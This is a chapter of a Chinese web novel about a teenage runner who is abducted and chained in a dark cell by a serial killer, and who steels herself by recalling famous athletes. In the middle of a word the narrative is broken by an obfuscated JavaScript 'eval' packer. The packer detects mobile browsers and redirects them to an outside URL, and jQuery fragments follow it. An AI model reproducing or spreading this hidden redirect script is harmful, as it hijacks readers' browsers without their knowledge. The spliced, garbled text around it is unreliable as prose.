7.徐静茹

作品:《困鸟

    徐静茹时常会想,自己身体里住着一头渴望奔跑的野兽。


    当她踏上深红色的塑胶跑道,风从耳边呼啸而过,全世界的喧嚣都退潮散去,只剩下她的心跳,擂鼓一般,砰,砰,砰。


    那是生命最原始、最真实的声音,让徐静茹着迷。


    她想把这头野兽彻底释放,在赛场上,在万众瞩目下,冲向象征极限的终点线。


    于是,徐静茹告诉父母,她想去学体育,将来做个长跑运动员。


    ——“不务正业!”


    父亲听罢,怒气冲冲地咆哮:“一个女孩子,不好好读书,天天去操场上跑,像什么样子?把自己晒得又黑又壮,以后怎么嫁人?”


    母亲在一旁帮腔,痛心疾首:“跑步能当饭吃吗?你看看你表姐,安安分分考个师范,现在当老师,多稳定,多体面。”


    “我就是喜欢!嫁不嫁人,我才不在乎!”


    徐静茹用尽全身力气喊出这句话,声音在颤:“这是我自己的事,不要你们管!”


    “你敢!”


    父亲猛地一拍桌子:“我们辛辛苦苦供你读书,不是让你去做那些不着调的梦!要是敢往田径队跑,我就打断你的腿!”


    又来了。


    又是这种威胁,这种不容置喙的独断。


    胸口像堵了一团棉花,闷得徐静茹快要窒息。


    她不想再争吵,更不想再看他们脸上失望和鄙夷的神情,转身拉开门,冲了出去。


    她需要喘口气。


    徐静茹的家建在清水河边,沿河的步道,是她从小跑到大的地方,也是她的避风港。


    无论考试失利,还是和人闹了别扭,她都会来这里。河水静默流淌,仿佛能带走所有的烦恼。


    今晚的河畔异常冷清,水面飘了薄薄雾气,对岸的灯火遥远又模糊。


    徐静茹听见河水拍打堤岸的声音,哗啦作响,不像往日的安抚,反倒叫人联想起不祥的叹息。


    她慢慢地走,冷空气灌进肺里,平复狂跳的心。


    学校里的体育教练说过,她很有天赋,只要坚持训练,明年的市运会,有希望拿到前三。


    只是前三而已吗?


    她要争百分百的第一名。


    这个念头像一簇小小的火苗,在心底重新燃起。


    徐静茹想,她不能放弃,绝对不能。


    可应该怎么和爸妈去说?


    在他们的观念中,体育只是一条离经叛道的歪路,不适合所谓的“好学生”,也不适合女孩子。


    小时候,每当徐静茹在河边奔跑玩闹,总要得来几句训斥:“姑娘家家,这么疯像什么话?”


    她走着走着,渐渐出了神,没在意周遭过于可怖的寂静,耳边只有风声,水声,和自己的心跳。


    不。


    ……不对。


    还有另一种声音。


    一种极轻微的、混杂在风里的,沙、沙、沙的摩擦。


    是脚步声。


    很轻,很快,像猫科动物在黑夜中潜行——


    有人跟着她!


    浑身的血液,在这一秒钟凝固,寒意从尾椎骨直冲天灵盖。


    徐静茹停下脚步,陡然回头。


    她没来得及看清那人的长相。


    只有余光飞快一瞥——


    一道黑影从夜色中剥离,像被拉长的鬼魅,悄无声息,已到了她身后!


    咚!


    有什么东西重重砸下。


    眼前裂开大片白光,后脑勺上剧痛袭来。


    耳畔的声响不像敲击,更像是一个饱满的西瓜被铁锤砸开,声音的源头,在她颅骨之中。


    世界天旋地转。


    徐静茹彻底失去意识。


    ……


    痛。


    头痛得像要裂开。


    不知昏迷了多久,徐静茹艰难掀开眼皮。


    视野内,并非医院洁白的天花板,而是纯粹的黑暗。


    黑暗如此浓郁,好似冰冷沥青,沉甸甸压在眼球上,让她喘不过气。


    空气里有霉味,和铁锈般的甜腥。


    这是哪里?


    徐静茹的记忆出现短暂断层。


    她只记得自己和父母争吵,去了河边散心,捕捉到若有似无的动静……然后呢?


    然后是那道诡异的人影,和一记重击。


    绑架。


    这个词像一道闪电,劈开她混沌的思绪。


    徐静茹试着活动身体,不出所料,手脚被铁链紧紧绑上,连在墙角的管道。


    铁链长度不足一米,这是她仅剩的活动范围。


    “有人吗?”


    徐静茹喊了声,因为恐惧和干渴,嗓音沙哑至极。


    回答她的,只有死寂。


    “救命!有没有人?救命!”


    求生的本能压倒了一切。


    近乎崩溃地,徐静茹拼命嘶喊、咒骂、哭泣,直到嗓子发哑,精疲力竭。


    这间囚室,像一具隔音的棺材,将她与整个世界隔绝。


    绝望如海水,渐渐把她淹没。


    徐静茹明白,自己遭遇了什么。


    是那个臭名昭著的杀人魔。


    江城连环凶杀案。


    惨无人道的虐待,骇人听闻的杀人手法,三个无辜枉死的女人……


    只存在于新闻里的报道,在这一刻,成了悬在她头顶、即将落下的铡刀。


    她是不是,也要死了?


    徐静茹的身体不受控制颤抖起来。


    短短片刻,她想起爸妈的脸、教练鼓励的眼神、和她曾无数回踏足过的跑道。


    都结束了吗?


    她还没和爸妈和解,还没跑上市运会、乃至更大更瞩目的赛场,还没拿到梦寐以求的金牌,就要悄然无声地,死在这个发霉的、肮脏的角落里?


    徐静茹不甘心。


    她咬紧牙关,泪水糊了满脸。


    不行……


    最后的期限尚未到来,说不定,还有机会。


    只靠哭是没用的,赛场上,没人会因为眼泪获得胜利。


    徐静茹狠狠掐一把大腿,剧烈的疼痛让大脑清醒几分。


    她调整节奏,一呼,一吸,强迫自己冷静。


    别害怕。


    她对自己说,徐静茹,想一想,每次你跑到极限,觉得再也坚持不下去,你会做什么?


    后脑持续性传来剧痛,像无数根烧红的钢针,在搅动脑髓。


    一个名字撞进脑海。


    威尔马·鲁道夫。


    曾患过小儿麻痹、猩红热、双侧肺炎,被医生告知将终生残疾,却最终战胜疾病,成为被载入史册的女子短跑运动员。


    现在这点疼,跟她戴上矫正器的腿比起来,算得了什么?


    因后脑受创,眩晕感一波强过一波,徐静茹恶心想吐。


    她用力深呼吸,继续回想。


    戴安娜·奈德。


    六十四岁时,在浩瀚无边、充满危险的漆黑大洋中,游了整整五十三个小时、一百七十七公里,成为首个无防护设备,横渡古巴到佛罗里达海域的泳者。


    她面对的,是比这间黑屋更广阔、更深沉的幽暗与孤独。


    胃部痉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868388|175811||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    挛了一下,力气像被抽干,分不清源于饥饿还是恐惧。


    徐静茹颤抖扬起手臂,用力拭去混浊的泪水。


    张伟丽。


    当过幼儿园老师、前台、销售,凭一腔热血和一双铁拳,硬生生闯入格斗赛场,成为亚洲首位UFC世界冠军。


    她被击倒过,又重新站了起来,用更强悍的方式。


    她们都是运动员。


    徐静茹告诉自己,你一直羡慕她们、崇拜她们、把她们看作目标,不是吗?


    她们吃过多少苦,受过多少难,你学着她们的样子,咬牙撑过去。


    好不好?


    ……


    对,就是这样,慢慢放松,长长地、平缓地呼吸。


    像赛前检查一样,分析当下的处境。


    先确保身体机能正常。


    除了头疼、胃疼、恶心、心口发闷,有没有别处难受?


    徐静茹活动了一下,还好,暂时没发现新的伤情。


    再看看绑住手脚的铁链,在它的限制下,是否有可能对凶手做出反击?


    她拉了拉,纹丝不动。


    徒手挣脱的概率为零,真要逃脱的话,需要时机和工具。


    至于周围的环境……


    别着急,伸手摸索每一寸空间,冰冷墙壁,粗糙地板,生锈的铁质管道。


    这里空空荡荡,没找到可供利用的器具。


    不幸中的万幸,没有惊悚片里头,变态杀手惯用的可怕刑具。


    徐静茹自嘲似的安慰自己。


    要怎样,才能在连环杀手的死亡阴影下存活?


    徐静茹不知道。


    她只是个生活在象牙塔的高中生,这是父母和学校不曾教授过的知识盲区。


    时间一分一秒流逝,凶手还未露面,徐静茹怔怔凝视身前的黑暗。


    她决定用一个笨办法,让自己能撑下去。


    从小到大,有限的十几年人生里,徐静茹始终是最普通的、站在人群不会被第一眼找到的学生。


    长相不突出,性格平平无奇,成绩也徘徊在中游水平,上不去下不来。


    她唯一擅长的,是体育。


    尤其长跑。


    那是一项孤独的运动,赛道上,只有枯燥的脚步声、越来越沉重的呼吸、身体濒临极限导致的痛苦。


    肺部灼痛,双腿沉重如铅,大脑会发出成千上万个指令,尖叫着让她放弃。


    但徐静茹知道,只要调节呼吸、放空大脑,再往前多迈一步、多坚持一秒,就能冲破它,让身体迎来近乎麻木的平稳期。


    痛苦不会消失,是她学会了如何驾驭。


    此刻,在这间死寂的囚室,徐静茹尝试着笨拙拆解——


    把她一窍不通的、名为“求生”的恐怖经历,看作自己最熟悉、最拿手的事。


    一场长跑。


    她已经犯下第一个错误,起跑太快,用尖叫耗费了宝贵的体力。


    现在,必须立刻慢下来,找好节奏。


    这注定是人生中最艰难、最不公平的一场耐力赛。


    徐静茹闭上眼,仿佛看见漫长的跑道。


    她一个人,孤单站在起点。


    终点呢?终点在哪里?


    新闻报道的细节,在她脑中变得无比清晰。


    江城连环杀人案的凶手,会把受害者监禁十五天。


    徐静茹握紧拳,掌心满是冷汗。


    在十五天的死亡倒计时内,如果没人找到这里、发现被困的她。


    第十六天的新闻中,“徐静茹”这个名字,将出现在死者那一栏上。